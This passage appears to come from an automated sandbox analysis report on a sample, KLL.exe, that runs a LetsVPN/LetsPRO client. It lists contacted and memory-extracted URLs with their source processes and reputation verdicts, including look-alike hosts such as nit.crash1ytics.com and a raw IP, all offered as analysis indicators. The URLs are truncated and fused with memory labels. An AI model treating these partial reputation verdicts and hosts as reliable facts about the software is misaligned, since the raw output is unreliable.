            		unknowntrueunknown
            ws-ap1.pusher.com
            		unknown
            		unknowntrueunknown
            www.yandex.com
            		unknown
            		unknowntrueunknown
            www.baidu.com
            		unknown
            		unknowntrueunknown

            Contacted URLs

            NameMaliciousAntivirus DetectionReputation
            http://ws-ap1.pusher.com/app/4fc436ef36f4026102d7?protocol=5&client=pusher-dotnet-client&version=1.1.2false
            • Avira URL Cloud: safe
            		unknown

            URLs from Memory and Binaries

            NameSourceMaliciousAntivirus DetectionReputation
            https://intercom.help/letsvpn-world/en/articles/2907649-%E9%80%9A%E8%BF%87%E7%94%B3%E8%BF%B0%E6%89%BLetsPRO.exe, 00000037.00000000.2057009176.0000000000CF2000.00000002.00000001.01000000.00000018.sdmpfalse
            • 0%, Virustotal, Browse
            • Avira URL Cloud: safe
            		unknown
            https://pngimg.com/uploads/light/light_PNG14440.pngLetsPRO.exe, 00000037.00000000.2057009176.0000000000CF2000.00000002.00000001.01000000.00000018.sdmpfalse
            • 0%, Virustotal, Browse
            • Avira URL Cloud: safe
            		unknown
            http://defaultcontainer/LetsPRO;component/Themes/ButtonDictionary.xamldLetsPRO.exe, 00000045.00000002.2238291397.00000000033D5000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2242445236.0000000002AC6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000049.00000002.2320898768.0000000002CCD000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004B.00000002.2329023239.0000000002FD6000.00000004.00000800.00020000.00000000.sdmpfalse
            • Avira URL Cloud: safe
            		unknown
            https://aka.ms/toolkit/dotnetLetsPRO.exe, 00000037.00000002.4178608089.0000000006352000.00000002.00000001.01000000.0000001E.sdmpfalse
            • 0%, Virustotal, Browse
            • Avira URL Cloud: safe
            		unknown
            http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0KLL.exe, 00000000.00000003.1722889037.0000017539C71000.00000004.00000020.00020000.00000000.sdmp, KLL.exe, 00000000.00000003.1722912500.0000017537D97000.00000004.00000020.00020000.00000000.sdmp, System.Runtime.dll.20.dr, System.Security.Principal.dll.20.dr, System.Security.Principal.Windows.dll.20.dr, System.Net.Security.dll.20.dr, LetsPRO.resources.dll.20.dr, System.Net.NetworkInformation.dll.20.dr, e_sqlite3.dll0.20.dr, System.Security.Claims.dll.20.dr, System.Xml.XmlSerializer.dll.20.dr, WpfAnimatedGif.dll.20.dr, System.Runtime.Serialization.Json.dll.20.dr, System.Xml.XPath.XDocument.dll.20.dr, System.Text.Encoding.CodePages.dll.20.dr, System.Net.IPNetwork.dll.20.dr, System.Collections.Specialized.dll.20.dr, System.Text.Encoding.dll.20.dr, System.IO.Pipes.dll.20.dr, System.Threading.Timer.dll.20.dr, Microsoft.AppCenter.Crashes.dll.20.drfalse
            • URL Reputation: safe
            		unknown
            http://defaultcontainer/LetsPRO;component/Themes/TabControllerDictionary.xamldLetsPRO.exe, 00000045.00000002.2238291397.00000000033D5000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2242445236.0000000002AC6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000049.00000002.2320898768.0000000002CFC000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004B.00000002.2329023239.0000000002FFE000.00000004.00000800.00020000.00000000.sdmpfalse
            • Avira URL Cloud: safe
            		unknown
            https://intercom.help/letsvpn-world/en/articles/2922442-%D1%87%D1%82%D0%BE-%D0%B4%D0%B5%D0%BB%D0%B0%LetsPRO.resources.dll.20.drfalse
            • 0%, Virustotal, Browse
            • Avira URL Cloud: safe
            		unknown
            http://foo/Themes/TextBoxDictionary.xamlLetsPRO.exe, 0000004B.00000002.2329023239.0000000002FFE000.00000004.00000800.00020000.00000000.sdmpfalse
            • Avira URL Cloud: safe
            		unknown
            http://foo/Themes/TextBoxDictionary.xamldLetsPRO.exe, 00000045.00000002.2238291397.00000000033D5000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000049.00000002.2320898768.0000000002CFC000.00000004.00000800.00020000.00000000.sdmpfalse
            • Avira URL Cloud: safe
            		unknown
            http://foo/Themes/RadioButtonDictionary.xamlLetsPRO.exe, 00000045.00000002.2238291397.00000000033D5000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2242445236.0000000002AC6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000049.00000002.2320898768.0000000002CFC000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004B.00000002.2329023239.0000000002FFE000.00000004.00000800.00020000.00000000.sdmpfalse
            • Avira URL Cloud: safe
            		unknown
            http://foo/Themes/TabControllerDictionary.xamlLetsPRO.exe, 00000045.00000002.2238291397.00000000033D5000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2242445236.0000000002AC6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000049.00000002.2320898768.0000000002CFC000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004B.00000002.2329023239.0000000002FFE000.00000004.00000800.00020000.00000000.sdmpfalse
            • Avira URL Cloud: safe
            		unknown
            http://logging.apache.org/log4net/release/faq.html#trouble-EventLogLetsPRO.exe, 00000045.00000002.2245958031.0000000005B22000.00000002.00000001.01000000.0000001B.sdmpfalse
            • 0%, Virustotal, Browse
            • Avira URL Cloud: safe
            		unknown
            https://g.live.com/odclientsettings/ProdV2.C:svchost.exe, 0000000C.00000003.1707399335.000001E0C8733000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000C.00000003.1707399335.000001E0C8752000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000C.00000003.1707399335.000001E0C8778000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000C.00000003.1707399335.000001E0C8797000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000C.00000003.1707399335.000001E0C8784000.00000004.00000800.00020000.00000000.sdmpfalse
            • URL Reputation: safe
            		unknown
            http://foo/bar/themes/tabcontrollerdictionary.bamldLetsPRO.exe, 00000045.00000002.2238291397.00000000033D5000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2242445236.0000000002AC6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000049.00000002.2320898768.0000000002CFC000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004B.00000002.2329023239.0000000002FFE000.00000004.00000800.00020000.00000000.sdmpfalse
            • Avira URL Cloud: safe
            		unknown
            https://letsvpn.world/registerterm.htmlLetsPRO.exe, 00000037.00000000.2057009176.0000000000CF2000.00000002.00000001.01000000.00000018.sdmp, LetsPRO.resources.dll.20.drfalse
            • 0%, Virustotal, Browse
            • Avira URL Cloud: safe
            		unknown
            https://g.live.com/odclientsettings/Prod.C:svchost.exe, 0000000C.00000003.1707399335.000001E0C86E6000.00000004.00000800.00020000.00000000.sdmpfalse
            • URL Reputation: safe
            		unknown
            https://WSARecv0.0.0.0%2F0infoLetsPRO.exe, 00000037.00000002.4183483754.000000000F89C000.00000004.00001000.00020000.00000000.sdmpfalse
            • Avira URL Cloud: safe
            		unknown
            https://intercom.help/letsvpn-world/en/articles/3710827-%D0%B7%D0%B0%D1%8F%D0%B2%D0%BB%D0%B5%D0%BD%DLetsPRO.resources.dll.20.drfalse
            • 0%, Virustotal, Browse
            • Avira URL Cloud: safe
            		unknown
            http://foo/bar/themes/appmenudictionary.bamlLetsPRO.exe, 0000004B.00000002.2329023239.0000000002FFE000.00000004.00000800.00020000.00000000.sdmpfalse
            • Avira URL Cloud: safe
            		unknown
            http://foo/bar/themes/textboxdictionary.bamlLetsPRO.exe, 0000004B.00000002.2329023239.0000000002FFE000.00000004.00000800.00020000.00000000.sdmpfalse
            • Avira URL Cloud: safe
            		unknown
            https://intercom.help/letsvpn-world/en/articles/2830420-special-settings-for-killer-networking-produLetsPRO.exe, 00000037.00000000.2057009176.0000000000CF2000.00000002.00000001.01000000.00000018.sdmpfalse
            • 0%, Virustotal, Browse
            • Avira URL Cloud: safe
            		unknown
            http://www.hardcodet.net/taskbarLetsPRO.exe, 00000037.00000002.4217491237.0000000037D82000.00000002.00000001.01000000.00000032.sdmp, LetsPRO.exe, 00000045.00000002.2238291397.00000000033D5000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2242445236.0000000002AC6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000049.00000002.2320898768.0000000002CCD000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004B.00000002.2329023239.0000000002FD6000.00000004.00000800.00020000.00000000.sdmpfalse
            • 0%, Virustotal, Browse
            • Avira URL Cloud: safe
            		unknown
            https://d1dmgcawtbm6l9.cloudfront.net/rest-apiinvalidLetsPRO.exe, 00000037.00000002.4287210806.0000000068179000.00000002.00000001.01000000.00000024.sdmpfalse
            • 0%, Virustotal, Browse
            • Avira URL Cloud: safe
            		unknown
            https://d3jb1hiazbhf2r.cloudfront.net/letsvpn-world/en/articles/8262909-%D1%81%D0%BF%D0%B5%D1%86%D0%LetsPRO.resources.dll.20.drfalse
            • 0%, Virustotal, Browse
            • Avira URL Cloud: safe
            		unknown
            https://aka.ms/pscore6lBpowershell.exe, 00000017.00000002.1779609620.0000000004F38000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.1779609620.0000000004F47000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001A.00000002.1928154741.0000000005071000.00000004.00000800.00020000.00000000.sdmpfalse
            • URL Reputation: safe
            		unknown
            http://foo/bar/themes/windowdictionary.bamlLetsPRO.exe, 0000004B.00000002.2329023239.0000000002FD6000.00000004.00000800.00020000.00000000.sdmpfalse
            • Avira URL Cloud: safe
            		unknown
            http://foo/bar/themes/scrollviewdictionary.bamldLetsPRO.exe, 00000045.00000002.2238291397.00000000033D5000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2242445236.0000000002AC6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000049.00000002.2320898768.0000000002CCD000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004B.00000002.2329023239.0000000002FD6000.00000004.00000800.00020000.00000000.sdmpfalse
            • Avira URL Cloud: safe
            		unknown
            http://www.isimba.cn0uc_ctrl.exe, 00000011.00000003.1750658147.0000000000AEF000.00000004.00000020.00020000.00000000.sdmpfalse
            • Avira URL Cloud: safe
            		unknown
            https://rdrt.jkjtdfbs.com/letsvpn-world/en/articles/8262690-special-settings-for-intel-connectivity-LetsPRO.exe, 00000037.00000000.2057009176.0000000000CF2000.00000002.00000001.01000000.00000018.sdmpfalse
            • Avira URL Cloud: safe
            		unknown
            https://nuget.org/nuget.exepowershell.exe, 0000001A.00000002.1935612989.00000000060DE000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000037.00000002.4164656265.000000000466C000.00000004.00000800.00020000.00000000.sdmpfalse
            • URL Reputation: safe
            		unknown
            http://defaultcontainer/LetsPRO;component/Themes/ScrollViewDictionary.xamldLetsPRO.exe, 00000045.00000002.2238291397.00000000033D5000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2242445236.0000000002AC6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000049.00000002.2320898768.0000000002CCD000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004B.00000002.2329023239.0000000002FD6000.00000004.00000800.00020000.00000000.sdmpfalse
            • Avira URL Cloud: safe
            		unknown
            http://defaultcontainer/LetsPRO;component/app.xamlLetsPRO.exe, 00000045.00000002.2238291397.00000000033D5000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2242445236.0000000002ABA000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000049.00000002.2320898768.0000000002CB5000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004B.00000002.2329023239.0000000002FCB000.00000004.00000800.00020000.00000000.sdmpfalse
            • Avira URL Cloud: safe
            		unknown
            http://defaultcontainer/LetsPRO;component/Themes/ButtonDictionary.xamlLetsPRO.exe, 00000045.00000002.2238291397.00000000033D5000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2242445236.0000000002AC6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000049.00000002.2320898768.0000000002CCD000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004B.00000002.2329023239.0000000002FD6000.00000004.00000800.00020000.00000000.sdmpfalse
            • Avira URL Cloud: safe
            		unknown
            https://intercom.help/letsvpn-world/en/collections/KillerLetsPRO.exe, 00000037.00000000.2057009176.0000000000CF2000.00000002.00000001.01000000.00000018.sdmpfalse
            • Avira URL Cloud: safe
            		unknown
            http://defaultcontainer/LetsPRO;component/Themes/RadioButtonDictionary.xamlLetsPRO.exe, 00000045.00000002.2238291397.00000000033D5000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2242445236.0000000002AC6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000049.00000002.2320898768.0000000002CFC000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004B.00000002.2329023239.0000000002FFE000.00000004.00000800.00020000.00000000.sdmpfalse
            • Avira URL Cloud: safe
            		unknown
            https://intercom.help/letsvpn-world/en/articles/2830282-%D0%BE%D0%B1%D1%80%D0%B0%D1%82%D0%B8%D1%82%DLetsPRO.resources.dll.20.drfalse
            • Avira URL Cloud: safe
            		unknown
            http://schemas.fontawesome.io/icons/LetsPRO.exe, 00000037.00000002.4151243454.0000000003131000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000037.00000000.2057009176.0000000000CF2000.00000002.00000001.01000000.00000018.sdmpfalse
            • Avira URL Cloud: safe
            		unknown
            https://0.0.0.0%2F0lLetsPRO.exe, 00000037.00000002.4185284004.000000000F90E000.00000004.00001000.00020000.00000000.sdmpfalse
            • Avira URL Cloud: safe
            		unknown
            https://in.appcenter.ms./logs?api-version=1.0.0LetsPRO.exe, 00000037.00000002.4190082692.0000000030062000.00000002.00000001.01000000.00000027.sdmpfalse
            • Avira URL Cloud: safe
            		unknown
            https://intercom.help/letsvpn-world/en/articles/3081101-adjust-the-settings-for-ipv6LetsPRO.exe, 00000037.00000000.2057009176.0000000000CF2000.00000002.00000001.01000000.00000018.sdmpfalse
            • Avira URL Cloud: safe
            		unknown
            http://foo/Themes/ScrollViewDictionary.xamldLetsPRO.exe, 00000045.00000002.2238291397.00000000033D5000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2242445236.0000000002AC6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000049.00000002.2320898768.0000000002CCD000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004B.00000002.2329023239.0000000002FD6000.00000004.00000800.00020000.00000000.sdmpfalse
            • Avira URL Cloud: safe
            		unknown
            http://foo/bar/themes/textboxdictionary.bamldLetsPRO.exe, 00000045.00000002.2238291397.00000000033D5000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2242445236.0000000002AC6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000049.00000002.2320898768.0000000002CFC000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004B.00000002.2329023239.0000000002FFE000.00000004.00000800.00020000.00000000.sdmpfalse
            • Avira URL Cloud: safe
            		unknown
            http://schemas.xmlsoap.org/ws/2005/05/identity/claims/namepowershell.exe, 00000017.00000002.1779609620.0000000004F0C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001A.00000002.1928154741.0000000005071000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000037.00000002.4151243454.0000000003131000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000045.00000002.2238291397.00000000033D5000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2242445236.0000000002AC6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000049.00000002.2320898768.0000000002CFC000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004B.00000002.2329023239.0000000002FFE000.00000004.00000800.00020000.00000000.sdmpfalse
            • URL Reputation: safe
            		unknown
            http://wpfanimatedgif.codeplex.comLetsPRO.exe, 00000037.00000000.2057009176.0000000000CF2000.00000002.00000001.01000000.00000018.sdmp, WpfAnimatedGif.dll.20.drfalse
            • Avira URL Cloud: safe
            		unknown
            http://www.certum.pl/CPS0KLL.exe, 00000000.00000002.1777827750.00007FF6750FA000.00000008.00000001.01000000.00000003.sdmp, KLL.exe, 00000000.00000000.1672730792.00007FF6750FA000.00000008.00000001.01000000.00000003.sdmpfalse
            • URL Reputation: safe
            		unknown
            https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6svchost.exe, 0000000C.00000003.1707399335.000001E0C8752000.00000004.00000800.00020000.00000000.sdmpfalse
            • Avira URL Cloud: safe
            		unknown
            http://foo/bar/themes/windowdictionary.bamldLetsPRO.exe, 00000045.00000002.2238291397.00000000033D5000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2242445236.0000000002AC6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000049.00000002.2320898768.0000000002CCD000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004B.00000002.2329023239.0000000002FD6000.00000004.00000800.00020000.00000000.sdmpfalse
            • Avira URL Cloud: safe
            		unknown
            https://intercom.help/letsvpn-world/en/collections/1611781-%E4%B8%AD%E6%96%87%E5%B8%AE%E5%8A%A9LetsPRO.exe, 00000037.00000000.2057009176.0000000000CF2000.00000002.00000001.01000000.00000018.sdmpfalse
            • Avira URL Cloud: safe
            		unknown
            http://foo/bar/themes/tabcontrollerdictionary.bamlLetsPRO.exe, 0000004B.00000002.2329023239.0000000002FFE000.00000004.00000800.00020000.00000000.sdmpfalse
            • Avira URL Cloud: safe
            		unknown
            https://d1dmgcawtbm6l9.cloudfront.net/rest-apiedns_client_subnet=0.0.0.0%2F0&name=d1dmgcawtbm6l9.cloLetsPRO.exe, 00000037.00000002.4181904760.000000000F822000.00000004.00001000.00020000.00000000.sdmpfalse
            • Avira URL Cloud: safe
            		unknown
            http://defaultcontainer/LetsPRO;component/app.xamldLetsPRO.exe, 00000045.00000002.2238291397.00000000033D5000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2242445236.0000000002ABA000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000049.00000002.2320898768.0000000002CB5000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004B.00000002.2329023239.0000000002FCB000.00000004.00000800.00020000.00000000.sdmpfalse
            • Avira URL Cloud: safe
            		unknown
            http://pesterbdd.com/images/Pester.pngLetsPRO.exe, 00000037.00000002.4151243454.0000000003435000.00000004.00000800.00020000.00000000.sdmpfalse
            • URL Reputation: safe
            		unknown
            http://schemas.xmlsoap.org/soap/encoding/powershell.exe, 0000001A.00000002.1928154741.00000000051C6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000037.00000002.4151243454.0000000003435000.00000004.00000800.00020000.00000000.sdmpfalse
            • URL Reputation: safe
            		unknown
            http://crl.certum.pl/ctnca.crl0kKLL.exe, 00000000.00000002.1777827750.00007FF6750FA000.00000008.00000001.01000000.00000003.sdmp, KLL.exe, 00000000.00000000.1672730792.00007FF6750FA000.00000008.00000001.01000000.00000003.sdmpfalse
            • URL Reputation: safe
            		unknown
            http://www.apache.org/licenses/LICENSE-2.0.htmlLetsPRO.exe, 00000037.00000002.4151243454.0000000003435000.00000004.00000800.00020000.00000000.sdmpfalse
            • URL Reputation: safe
            		unknown
            http://www.microsoft.otapinstall.exe, 00000022.00000003.1989254572.00000000011D8000.00000004.00000020.00020000.00000000.sdmpfalse
            • Avira URL Cloud: safe
            		unknown
            https://intercom.help/letsvpn-world/en/articles/2926044-what-if-i-reached-maximum-connection-limitLetsPRO.exe, 00000037.00000000.2057009176.0000000000CF2000.00000002.00000001.01000000.00000018.sdmpfalse
            • Avira URL Cloud: safe
            		unknown
            https://github.com/CommunityToolkit/dotnetLetsPRO.exe, 00000037.00000002.4178608089.0000000006352000.00000002.00000001.01000000.0000001E.sdmpfalse
            • Avira URL Cloud: safe
            		unknown
            https://github.com/dotnet/corefx/tree/7601f4f6225089ffb291dc7d58293c7bbf5c5d4fLetsPRO.exe, 00000037.00000002.4179408143.0000000006542000.00000002.00000001.01000000.00000021.sdmpfalse
            • Avira URL Cloud: safe
            		unknown
            http://foo/bar/themes/radiobuttondictionary.bamldLetsPRO.exe, 00000045.00000002.2238291397.00000000033D5000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2242445236.0000000002AC6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000049.00000002.2320898768.0000000002CFC000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004B.00000002.2329023239.0000000002FFE000.00000004.00000800.00020000.00000000.sdmpfalse
            • Avira URL Cloud: safe
            		unknown
            https://contoso.com/IconLetsPRO.exe, 00000037.00000002.4164656265.000000000466C000.00000004.00000800.00020000.00000000.sdmpfalse
            • URL Reputation: safe
            		unknown
            http://crl.ver)svchost.exe, 0000000C.00000002.3330330927.000001E0C8800000.00000004.00000020.00020000.00000000.sdmpfalse
            • Avira URL Cloud: safe
            		unknown
            http://foo/bar/themes/appmenudictionary.bamldLetsPRO.exe, 00000045.00000002.2238291397.00000000033D5000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2242445236.0000000002AC6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000049.00000002.2320898768.0000000002CFC000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004B.00000002.2329023239.0000000002FFE000.00000004.00000800.00020000.00000000.sdmpfalse
            • Avira URL Cloud: safe
            		unknown
            https://intercom.help/letsvpn-world/en/articles/2923401-%D0%BA%D0%B0%D0%BA-%D0%BF%D0%BE%D0%B6%D0%B0%LetsPRO.resources.dll.20.drfalse
            • Avira URL Cloud: safe
            		unknown
            http://nsis.sf.net/NSIS_ErrorErrorletsvpn-latest.exe, 00000014.00000003.2009732626.00000000007D5000.00000004.00000020.00020000.00000000.sdmp, letsvpn-latest.exe, 00000014.00000002.2057545084.000000000040A000.00000004.00000001.01000000.0000000D.sdmp, letsvpn-latest.exe, 00000014.00000000.1766331999.000000000040A000.00000008.00000001.01000000.0000000D.sdmpfalse
            • URL Reputation: safe
            		unknown
            http://www.symauth.com/cps0(uc_ctrl.exe, 00000011.00000003.1750658147.0000000000AEF000.00000004.00000020.00020000.00000000.sdmpfalse
            • URL Reputation: safe
            		unknown
            http://defaultcontainer/LetsPRO;component/Themes/TextBoxDictionary.xamldLetsPRO.exe, 00000045.00000002.2238291397.00000000033D5000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2242445236.0000000002AC6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000049.00000002.2320898768.0000000002CFC000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004B.00000002.2329023239.0000000002FFE000.00000004.00000800.00020000.00000000.sdmpfalse
            • Avira URL Cloud: safe
            		unknown
            https://github.com/Pester/PesterLetsPRO.exe, 00000037.00000002.4151243454.0000000003435000.00000004.00000800.00020000.00000000.sdmpfalse
            • Avira URL Cloud: safe
            		unknown
            http://foo/Themes/WindowDictionary.xamlLetsPRO.exe, 00000045.00000002.2238291397.00000000033D5000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2242445236.0000000002AC6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000049.00000002.2320898768.0000000002CCD000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004B.00000002.2329023239.0000000002FD6000.00000004.00000800.00020000.00000000.sdmpfalse
            • Avira URL Cloud: safe
            		unknown
            http://defaultcontainer/LetsPRO;component/Themes/TextBoxDictionary.xamlLetsPRO.exe, 00000045.00000002.2238291397.00000000033D5000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2242445236.0000000002AC6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000049.00000002.2320898768.0000000002CFC000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004B.00000002.2329023239.0000000002FFE000.00000004.00000800.00020000.00000000.sdmpfalse
            • Avira URL Cloud: safe
            		unknown
            http://foo/bar/themes/appmenudictionary.bamlpLetsPRO.exe, 00000048.00000002.2242445236.0000000002AC6000.00000004.00000800.00020000.00000000.sdmpfalse
            • Avira URL Cloud: safe
            		unknown
            http://www.symauth.com/rpa00uc_ctrl.exe, 00000011.00000003.1750658147.0000000000AEF000.00000004.00000020.00020000.00000000.sdmpfalse
            • URL Reputation: safe
            		unknown
            https://d3jb1hiazbhf2r.cloudfront.net/letsvpn-world/en/articles/8262818-%D1%81%D0%BF%D0%B5%D1%86%D0%LetsPRO.resources.dll.20.drfalse
            • Avira URL Cloud: safe
            		unknown
            https://intercom.help/letsvpn-world/en/articles/2925752-how-to-download-letsvpnLetsPRO.exe, 00000037.00000000.2057009176.0000000000CF2000.00000002.00000001.01000000.00000018.sdmpfalse
            • Avira URL Cloud: safe
            		unknown
            https://intercom.help/letsvpn-world/en/collections/1627706-%D0%BF%D0%BE%D0%BC%D0%BE%D1%89%D1%8C-%D1%LetsPRO.resources.dll.20.drfalse
            • Avira URL Cloud: safe
            		unknown
            https://nit.crash1ytics.com/app32/deviceLetsPRO.exe, 00000037.00000002.4188520715.000000000FBCC000.00000004.00001000.00020000.00000000.sdmpfalse
            • Avira URL Cloud: safe
            		unknown
            http://schemas.xmlsoap.org/wsdl/powershell.exe, 0000001A.00000002.1928154741.00000000051C6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000037.00000002.4151243454.0000000003435000.00000004.00000800.00020000.00000000.sdmpfalse
            • URL Reputation: safe
            		unknown
            https://www.newtonsoft.com/jsonschemaLetsPRO.exe, 00000045.00000002.2247309532.0000000005DC2000.00000002.00000001.01000000.0000001D.sdmpfalse
            • URL Reputation: safe
            		unknown
            https://postPost67.137.174.254LetsPRO.exe, 00000037.00000002.4188390600.000000000FAF6000.00000004.00001000.00020000.00000000.sdmpfalse
            • Avira URL Cloud: safe
            		unknown
            https://d3jb1hiazbhf2r.cloudfront.net/letsvpn-world/en/articles/3083562-%D1%81%D0%BF%D0%B5%D1%86%D0%LetsPRO.resources.dll.20.drfalse
            • Avira URL Cloud: safe
            		unknown
            https://intercom.help/letsvpn-world/en/articles/2780068-%E5%A6%82%E4%BD%95%E4%B8%8B%E8%BD%BD%E5%BE%9LetsPRO.exe, 00000037.00000000.2057009176.0000000000CF2000.00000002.00000001.01000000.00000018.sdmpfalse
            • Avira URL Cloud: safe
            		unknown
            http://defaultcontainer/LetsPRO;component/Themes/ScrollViewDictionary.xamlLetsPRO.exe, 00000045.00000002.2238291397.00000000033D5000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2242445236.0000000002AC6000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000049.00000002.2320898768.0000000002CCD000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004B.00000002.2329023239.0000000002FD6000.00000004.00000800.00020000.00000000.sdmpfalse
            • Avira URL Cloud: safe
            		unknown
            https://ion=v4.52LetsPRO.exe, 00000037.00000002.4148107824.000000000143F000.00000004.00000020.00020000.00000000.sdmpfalse
            • Avira URL Cloud: safe
            		unknown
            https://nit.crash1ytics.com;LetsPRO.exe, 00000037.00000002.4187215009.000000000FA20000.00000004.00001000.00020000.00000000.sdmpfalse
            • Avira URL Cloud: safe
            		unknown
            https://github.com/dotnet/corefx/tree/7601f4f6225089ffb291dc7d58293c7bbf5c5d4f8LetsPRO.exe, 00000037.00000002.4179460479.0000000006546000.00000002.00000001.01000000.00000021.sdmpfalse
            • Avira URL Cloud: safe
            		unknown
            https://intercom.help/letsvpn-world/en/collections/1628560-help-documentsLetsPRO.exe, 00000037.00000002.4151243454.0000000003131000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000037.00000000.2057009176.0000000000CF2000.00000002.00000001.01000000.00000018.sdmpfalse
            • Avira URL Cloud: safe
            		unknown
            https://www.cnblogs.com/kliine/p/10950992.htmlLetsPRO.exe, 0000004B.00000002.2329023239.0000000002EA9000.00000004.00000800.00020000.00000000.sdmpfalse
            • Avira URL Cloud: safe
            		unknown
            http://repository.certum.pl/cscasha2.cer0KLL.exe, 00000000.00000002.1777827750.00007FF6750FA000.00000008.00000001.01000000.00000003.sdmp, KLL.exe, 00000000.00000000.1672730792.00007FF6750FA000.00000008.00000001.01000000.00000003.sdmpfalse
            • Avira URL Cloud: safe
            		unknown
            http://ocsp.sectigo.com0Microsoft.AppCenter.Crashes.dll.20.drfalse
            • URL Reputation: safe
            		unknown
            https://0.0.0.0%2F0LetsPRO.exe, 00000037.00000002.4185284004.000000000F90E000.00000004.00001000.00020000.00000000.sdmpfalse
            • Avira URL Cloud: safe
            		unknown
            https://letsvpn.world/terms.htmlLetsPRO.exe, 00000037.00000000.2057009176.0000000000CF2000.00000002.00000001.01000000.00000018.sdmp, LetsPRO.resources.dll.20.drfalse
